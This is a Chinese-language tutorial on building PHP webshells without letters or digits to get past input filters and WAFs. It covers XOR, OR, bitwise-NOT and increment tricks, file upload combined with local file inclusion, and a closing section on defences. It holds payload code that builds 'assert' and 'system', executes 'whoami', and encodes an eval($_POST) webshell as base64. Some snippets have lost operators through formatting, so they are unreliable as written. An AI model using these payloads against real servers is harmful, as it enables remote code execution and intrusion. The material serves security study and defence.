1. 项目概述当代码执行遇上字符限制在渗透测试或安全研究的过程中我们经常会遇到一个经典的场景目标系统存在一个可以执行代码的入口点比如一个eval()或者assert()函数但它的输入被严格过滤了。最常见的过滤规则之一就是禁止使用字母和数字。想象一下你面前有一台功能强大的机器但操作面板上只允许你使用几个特定的符号按键如何用它拼写出完整的指令这就是“无字母数字WebShell构造”所要解决的核心问题。这绝不是一个纸上谈兵的技巧。在实际的攻防对抗中尤其是针对一些WAFWeb应用防火墙规则或代码审计中的硬性过滤这种技术往往能成为突破最后一道防线的关键。它考验的是我们对编程语言底层特性的深刻理解以及将有限资源组合成无限可能的创造力。本文将带你深入解析利用异或、或、取反、自增以及临时文件上传这五大核心技巧来构造出功能完整的WebShell。无论你是安全研究人员、渗透测试工程师还是对Web安全底层原理感兴趣的开发者掌握这些技巧都能极大地拓宽你的思路和实战能力。2. 核心原理绕过字符限制的底层逻辑在PHP语言中这也是此类技巧最常应用的场景代码的执行最终依赖于引擎对字符串的解析。当过滤规则只允许非字母数字字符即不在a-zA-Z0-9范围内的字符通过时我们的目标就是使用这些允许的符号动态地“创造”出被禁止的字母和数字进而拼接成可执行的函数名和参数。2.1 字符生成的数学与逻辑基础PHP中的字符串可以进行位运算如^异或、|或、与和算术运算。两个字符串进行位运算时PHP会将它们的ASCII码进行按位操作然后返回结果对应的字符。这是所有技巧的基石。例如字符a的ASCII码是97二进制01100001字符^的ASCII码是94二进制01011110。如果我们能找到另外两个非字母数字字符它们的ASCII码进行异或运算后恰好等于97那么我们就“制造”出了字母a。假设存在非字母数字字符 $A 和 $B。 如果 ord($A) ^ ord($B) 97那么 $A ^ $B 的结果就是字符串 “a”。我们的任务就是找到足够多的这样的字符对来拼出我们需要的整个字符串比如“assert”、“system”或者“cat /etc/passwd”。2.2 可用字符集的确定首先我们需要明确“非字母数字字符”的具体范围。通常这包括标点符号! “ # $ % ‘ ( ) * , – . / : ; ? [ \ ] ^ _{ | } ~空格、制表符等空白字符。其中一些字符在URL或代码中具有特殊含义如?、、空格需要特别注意转义。在实战中我们通常会优先使用那些在字符串和URL中都比较“安静”的字符比如^、|、~、、.、[、]等。3. 五大构造技巧深度拆解与实战接下来我们逐一剖析每种技巧的原理、实现方法和实战中的注意事项。3.1 异或XOR构造法异或运算的规则是“相同为0不同为1”。在PHP中$a ^ $b会对$a和$b字符串中的每个字符的ASCII码进行按位异或。3.1.1 原理与手工推导假设我们需要生成字符‘p’ASCII 112二进制01110000。我们需要找到两个非字母数字字符它们的二进制表示异或后等于01110000。我们可以手工尝试也可以写脚本暴力枚举。一个经典的例子是‘{’的ASCII是123 (01111011)‘;’的ASCII是59 (00111011)123 ^ 59 112(01111011 ^ 00111011 01110000)因此在PHP中执行echo ‘{‘ ^ ‘;’;就会输出小写字母p。3.1.2 自动化生成Payload手工计算效率太低。我们通常编写一个PHP脚本遍历所有非字母数字字符找出所有能异或出目标字符的组合。?php // 定义允许的非字母数字字符集 $allowed_chars array_merge( range(!, /), // 标点符号段1 range(:, ), // 标点符号段2 range([, ), // 标点符号段3 range({, ~) // 标点符号段4 ); // 也可以直接定义一个字符串 // $allowed_chars str_split(!\#$%\()*,-./:;?[\\]^_{|}~); $target ‘assert’; // 我们要生成的字符串 for($i0; $istrlen($target); $i){ $t $target[$i]; echo “生成字符 ‘{$t}’ (ord: “.ord($t).”):\n”; $found false; foreach($allowed_chars as $c1){ foreach($allowed_chars as $c2){ if((ord($c1) ^ ord($c2)) ord($t)){ echo “ {$c1} (”.ord($c1).”) ^ {$c2} (”.ord($c2).”)\n”; $found true; // break 2; // 找到一对就跳出内层循环 } } } if(!$found) echo “ 未找到组合\n”; echo “\n”; } ?运行这个脚本我们可以得到构造“assert”所需的一系列字符对。3.1.3 实战拼接与执行假设我们通过脚本找到了如下组合示例实际组合可能不同a‘{‘ ^ ‘;’s‘]‘ ^ ‘\’s‘]‘ ^ ‘\’(同上)e‘^‘ ^ ‘G’r‘(‘ ^ ‘Z’t‘/‘ ^ ‘M’那么我们的Payload构造如下?php // 拼接出 ‘assert’ $func (‘{‘^’;’) . (‘]‘^’\\’) . (‘]‘^’\\’) . (‘^‘^’G’) . (‘(‘^’Z’) . (‘/‘^’M’); // $func 现在就是字符串 ‘assert’ // 假设我们通过同样方式生成了参数 ‘phpinfo()’ $param …; // 用异或法生成 ‘phpinfo()’ // 动态执行assert(‘phpinfo()’) $func($param); ?在实际攻击中我们需要将整个Payload编码在一行内并确保用于异或的字符本身不会被过滤。例如反斜杠\在字符串中需要转义在URL中也要注意编码。注意事项异或运算的一个关键特性是可逆性如果A ^ B C那么A ^ C B且B ^ C A。这在某些需要反向推导的场景下有用。另外异或生成的结果字符可能仍然是字母或数字但这没关系因为最终参与运算的是我们输入的非字母数字字符生成的字母数字字符是运算的结果而非我们的直接输入。3.2 或OR构造法或运算的规则是“有1则1”。$a | $b会对字符的ASCII码进行按位或。与异或类似我们也可以用它来生成目标字符。3.2.1 与异或的差异或运算的特性是结果的每一位只会比原操作数的对应位更“大”即1更多。这意味着要生成一个目标字符参与运算的两个字符的ASCII码在目标字符二进制位为1的位置上至少有一个必须为1。例如生成字符‘a’(01100001)我们需要找到X和Y使得X | Y 01100001。这要求对于‘a’中为1的位第2、3、8位X或Y至少有一个在该位上为1。对于‘a’中为0的位第1,4,5,6,7位X和Y必须同时在该位上为0。这个限制比异或更严格导致可用的字符组合通常比异或少。但在某些特定过滤规则下比如禁用了^但允许|它就派上用场了。3.2.2 实战脚本与技巧生成脚本的逻辑与异或类似只是将^运算符换成|。foreach($allowed_chars as $c1){ foreach($allowed_chars as $c2){ if((ord($c1) | ord($c2)) ord($t)){ // 找到组合 } } }由于组合可能更少有时我们需要三个或更多字符进行或运算来生成一个目标字符。例如(A | B | C) target。这增加了Payload的复杂度但理论上只要允许使用|和括号仍然是可行的。实操心得在实战中异或法的可用性和通用性远高于或法。因为或法的限制条件更苛刻生成的Payload往往更长、更复杂。通常优先尝试异或只有当异或符号^被过滤时才考虑使用或法。3.3 取反NOT构造法取反运算~会将操作数的每一位取反0变11变0。这是构造无字母数字WebShell中最强大、最优雅的技巧之一。3.3.1 原理从取反到字符串在PHP中对一个字符串进行取反会将其每个字符的ASCII码按位取反。例如~’a’等于chr(~ord(‘a’))chr(~97)chr(158)。158对应的扩展ASCII字符可能是一个不可见字符或特殊符号。关键点在于取反操作是可逆的。如果~X Y那么~~X X但更重要的是~Y X。所以如果我们想得到字符串“assert”我们可以先计算它的取反值$not_assert ~’assert’; // 得到一个由非字母数字字符很可能是不可见字符组成的字符串然后在Payload中我们只需要对这个取反后的字符串再进行一次取反就能还原出“assert”$func ~$not_assert; // $func 现在就是 ‘assert’3.3.2 如何表示取反后的字符串问题来了~’assert’的结果是一串乱码/不可见字符我们如何在Payload中表示它我们不能直接输入这些字符。解决方案是用可打印字符的取反来“间接”表示。我们想得到$not_assert ~’assert’。我们找到一串可打印的非字母数字字符$X使得~$X ‘assert’。那么$X其实就是~’assert’。因此在Payload里我们写入$func ~$X;那么$func就是assert。所以步骤是计算目标字符串的取反值然后将其作为字符串字面量写入Payload。这个取反值本身可能包含任何字符我们需要确保它能安全地通过过滤比如它可能包含反斜杠、引号等需要正确处理转义。3.3.3 实战生成与示例我们可以用PHP命令行快速生成php -r “echo urlencode(~’system’);”或者更直观地看其16进制表示php -r “echo bin2hex(~’system’);”假设我们得到~’system’的十六进制是“8c869d9a9e8b”。那么在Payload中我们可以这样写PHP 5?php $func ~”\x8c\x86\x9d\x9a\x9e\x8b”; // 注意双引号和\x转义 $func(‘whoami’); ?在PHP 7中支持更简洁的写法直接对字符串进行取反操作?php $func (~”\x8c\x86\x9d\x9a\x9e\x8b”); $func(‘whoami’); ?但我们的输入被限制为非字母数字所以\x8c这种形式包含了字母x和数字8c可能不被允许。这时我们需要将\x8c这个字符串本身也用非字母数字构造出来这听起来套娃了但利用PHP的弱类型和字符串连接我们可以做到。一个更通用的方法是直接使用取反值对应的原始二进制数据。但这在Web请求中难以直接传输。因此取反法在完全无字母数字且无法传输不可见字符的限制下通常需要结合其他技巧比如上传文件来使用或者用于构造局部的短字符串。核心技巧取反法在代码审计和本地构造时极其有用因为它能生成非常简洁的Payload。在远程注入时如果对方过滤了~符号此法则失效。另外PHP 8.0 对取反运算作用于非字符串类型的行为有变化需注意环境兼容性。3.4 自增Increment构造法这是PHP中一个非常有趣的特性利用的是字符串的自增运算。3.4.1 PHP的字符串自增规则在PHP中$a ‘a’; $a;的结果$a是‘b’。对于字母和数字它遵循“进位”规则‘a’-‘b’- … -‘z’-‘aa’‘A’-‘B’- … -‘Z’-‘AA’‘0’-‘1’- … -‘9’-‘10’最关键的一点‘9’不是‘10’吗这里面包含了数字‘1’和‘0’。我们是从非字母数字字符开始的如何得到第一个字母或数字呢3.4.2 从非字母数字到字母数字的“第一推动力”PHP中空字符串””的自增会产生什么呢$a ”; $a; // $a 现在是 ‘1’看我们得到了数字‘1’而空字符串显然是非字母数字的它什么都不是。这样我们就获得了第一个“种子”字符。3.4.3 构造任意字符的步骤一旦我们有了‘1’就可以通过自增得到‘2’,‘3’, …‘9’,‘10’…。但是我们如何得到字母呢观察ASCII表数字‘9’的后面是‘:’但‘:’不是字母。我们需要利用PHP另一个特性当一个变量是数字字符串时操作是数学递增当它变成非数字字符串时操作是字母递增。我们可以这样做从空字符串得到‘1’。通过多次自增得到‘9’。‘9’得到‘10’。这是一个数字字符串。如果我们对‘10’进行(int)转换或者进行算术运算再转换成字符串这条路不好走。更巧妙的方法是利用数组的转换。在PHP中(array)null或[]是一个空数组。(array)null不是字母数字。如果我们把空数组转换成字符串呢$a (array)null; // $a 是空数组 $b $a . ”; // 将数组转换为字符串会得到 ‘Array’ // 现在 $b 是字符串 ‘Array’它的第一个字符是 ‘A’但是‘Array’包含了字母这又是我们的输入。我们需要一个纯非字母数字的起点来生成‘A’。实际上‘Array’是PHP内部转换的结果我们不能直接输入‘Array’。更可靠的方法是从可用的非字母数字字符中找到那些通过自增能变成字母或数字的。例如在PHP中‘/‘的下一个字符是‘0’因为ASCII码中‘/‘是47‘0’是48。$a ‘/‘; echo $a; // 输出 ‘0’同理‘’的下一个字符是‘A’ASCII 64 - 65。‘’(反引号) 的下一个字符是‘a’ASCII 96 - 97。3.4.4 实战构造链因此我们可以构建一个构造链使用允许的字符‘/‘通过自增得到‘0’。使用‘0’自增得到‘1’,‘2’, …‘9’。使用允许的字符‘’通过自增得到‘A’。使用‘A’自增得到‘B’, …‘Z’。使用允许的字符‘’(反引号)通过自增得到‘a’。使用‘a’自增得到‘b’, …‘z’。这样我们就能构造出所有字母和数字。然后再将这些字符拼接成我们需要的函数名和参数。示例构造“phpinfo”?php // 假设我们只能输入非字母数字但可以执行代码 $_ ‘/‘; // $_ 是 ‘/‘ $_; // $_ 现在是 ‘0’ $__ ‘’; // $__ 是 ‘’ $__; // $__ 现在是 ‘A’ $___ ‘’; // $___ 是 ‘’ (反引号) $___; // $___ 现在是 ‘a’ // 现在我们有 ‘0’, ‘A’, ‘a’ 作为种子 // 通过多次自增和拼接可以构造出任意字符串过程略复杂但逻辑可行 // 例如从 ‘a’ 自增4次得到 ‘e’ $____ $___; // ‘a’ $____; // ‘b’ $____; // ‘c’ $____; // ‘d’ $____; // ‘e’ // 以此类推拼出 ‘phpinfo’ ?踩坑记录自增法构造的Payload通常非常冗长因为需要大量变量和自增操作来生成每一个字符。在真实的远程代码执行漏洞利用中可能会受到URL长度、参数数量等限制。此外自增操作符本身也可能被过滤。它的优势在于思路清奇能绕过一些对字符串拼接和位运算有特殊过滤的规则。3.5 临时文件上传构造法当前面所有基于字符运算的方法都因为过滤过于严格比如连^|~.这些符号都禁了而失效时临时文件上传提供了一条“曲线救国”的路径。其核心思想是虽然我无法直接在你的代码里写出字母数字但我可以让你帮我生成一个包含字母数字WebShell代码的文件然后去包含执行它。3.5.1 原理与利用条件这种方法通常需要利用目标系统的两个特性文件上传点哪怕是一个只能上传图片、且对内容做了检查的上传功能。文件包含漏洞LFI或者任何能包含、执行本地文件的功能如include,require,file_get_contents结合php://input等。如果两者同时存在就可能构成“文件上传本地文件包含”的组合漏洞最终获取代码执行。3.5.2 无字母数字的上传绕过即使上传功能检查文件内容不允许出现?php等标签我们依然可以尝试上传一个内容为纯非字母数字字符的文件。如何让这个文件变成WebShell我们需要让服务器错误地解析它。利用解析漏洞例如古老的IIS 6.0目录解析漏洞*.asp;.jpgApache的php3,phtml等多后缀解析Nginx的畸形解析如test.jpg/.php等。这些漏洞允许非.php后缀的文件被当作PHP执行。利用.htaccess或user.ini如果能上传这些配置文件可以重写解析规则使图片文件被当作PHP执行。利用包含漏洞这是更通用的方法。我们上传一个内容为WebShell代码的图片shell.jpg然后利用文件包含漏洞去包含这个图片文件include(‘/path/to/uploads/shell.jpg’);。只要图片文件中的PHP代码没有被?php … ?包裹它就不会被图片检查机制拦截但在被include时其中的代码会被执行。3.5.3 构造无字母数字的包含Payload现在问题回到原点我们如何用无字母数字的Payload去实现这个包含操作假设我们有一个本地文件包含点参数是?filexxx。我们需要构造file参数的值为一个路径比如‘/var/www/html/uploads/shell.jpg’。这个路径里充满了字母数字。这时我们可以结合前面提到的取反法。因为路径字符串是固定的我们可以预先计算其取反值。php -r “echo urlencode(~’/var/www/html/uploads/shell.jpg’);”假设得到“%8F%97%8F%96%91%99%90%9B%9A%8D%8C%9B%9E%92%9B%9C%8F%96%91%99%90”之类的形式这里只是示意。那么我们的Payload可以是?file?(~%8F%97%8F%96%91%99%90%9B%9A%8D%8C%9B%9E%92%9B%9C%8F%96%91%99%90)?如果服务器开启了短标签?且~运算符未被过滤这个Payload会先对那串乱码取反还原出路径字符串然后传递给包含函数。3.5.4 高级技巧利用PHP协议如果包含点支持PHP包装器如php://input,php://filter我们甚至可能不需要上传文件。php://input可以读取POST请求体作为文件内容。我们可以POST一段WebShell代码。php://filter的convert.base64-decode资源可以解码Base64数据。我们可以将WebShell代码Base64编码这样就只有字母数字和/然后利用过滤器的解码功能还原并执行。但Base64编码包含了字母数字我们需要用无字母数字的方式构造“php://filter/convert.base64-decode/resourcedata://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4”这样的字符串。这又回到了字符串构造的问题但目标字符串更长更复杂。通常这会和取反法结合生成一个巨大的取反后Payload。实战要点临时文件上传法是一种“降维打击”它跳出了在单个参数内构造代码的思维定式。其成功率高度依赖于目标环境是否存在文件上传和文件包含这两个漏洞点。在CTF比赛中这通常是最后一招在真实渗透中则需要细致的目录扫描和功能点测试来发现机会。4. 组合拳与高级利用技巧在实际绕过中很少只使用单一技术。WAF和过滤规则往往是多层的我们需要灵活组合上述技巧。4.1 混合编码与多重变换例如可以先使用自增法生成几个关键字符如.、/再结合这些字符和取反法来构造更复杂的字符串。或者用异或法生成“system”函数名用取反法生成命令参数“ls -la”。4.2 利用PHP动态函数特性PHP中$func($param)这种写法允许动态调用函数。我们构造的重点就是$func和$param这两个字符串。有时$param可以直接从已有的超全局变量中获取如$_GET[‘cmd’]这样我们只需要构造函数名即可难度降低。4.3 无参数RCE的衔接在一些极限情况下漏洞点可能不允许传递任何参数。这就需要用到“无参数RCE”的技巧例如利用getallheaders(),get_defined_vars(),session_id()等函数来获取输入再利用array_reverse(),current(),end()等函数进行数据提取。我们可以用无字母数字技术来构造这些函数名从而实现完整的攻击链。4.4 自动化工具与Payload生成手工构造这些Payload极其繁琐。安全研究人员开发了许多自动化工具例如PHPGGC虽然主要用于生成反序列化链但其思想类似。CTF中常见的Web题目Payload生成脚本很多CTF选手会编写自己的Python或PHP脚本根据允许的字符集自动搜索异或、或、取反的组合来生成目标字符串。在线工具一些网络安全网站提供简单的字符异或计算器。但作为研究者理解其原理远比会使用工具更重要。因为真实的过滤规则千变万化工具可能无法直接适应需要你手动调整算法和字符集。5. 防御视角与排查建议了解了攻击手法才能更好地进行防御。从防御者角度看如何防范此类无字母数字WebShell5.1 输入过滤的误区单纯过滤字母数字是无效的如上所述攻击者可以轻松绕过。有效的过滤应该是白名单机制只允许业务逻辑必需的、最小集的字符通过。例如如果一个输入框只期待数字那就只允许0-9。5.2 禁用危险函数这是治本的方法之一。在php.ini中通过disable_functions指令禁用eval,assert,system,exec,shell_exec,passthru,popen,proc_open等函数可以极大增加攻击者利用的难度即使他构造出了函数名也无法执行。5.3 限制字符串操作函数对于确实需要动态代码执行的场景极少可以考虑通过Web应用防火墙WAF或自定义中间件监控或限制位运算操作符^,|,~,和自增操作符在用户输入中的出现特别是当它们与字符串变量结合时。5.4 代码审计要点在审计代码时要特别关注以下几类高危函数代码执行函数eval(),assert(),create_function()已废弃。命令执行函数system(),exec(),shell_exec()等。文件包含函数include,require,include_once,require_once当路径变量用户可控时。回调函数call_user_func(),array_map()等如果第一个参数用户可控。审计时不仅要看输入是否经过过滤更要思考过滤规则是否可以被本章所述的技术绕过。要追踪用户输入的数据流直到它被这些高危函数执行。5.5 日志监控与异常检测在服务器日志中注意查看是否有大量包含特殊符号如连续的^,|,~,, 以及大量非字母数字字符的HTTP请求。这类请求很可能是自动化攻击工具在尝试模糊测试或投递Payload。无字母数字WebShell构造技术是Web安全中一道精巧而深刻的课题它像一场在严格限制下的编程艺术。掌握它不仅是为了攻击更是为了深刻理解PHP语言的特性从而筑起更坚固的防御。在实战中冷静分析过滤规则灵活组合运用各种技巧往往能在看似绝境中找到突破口。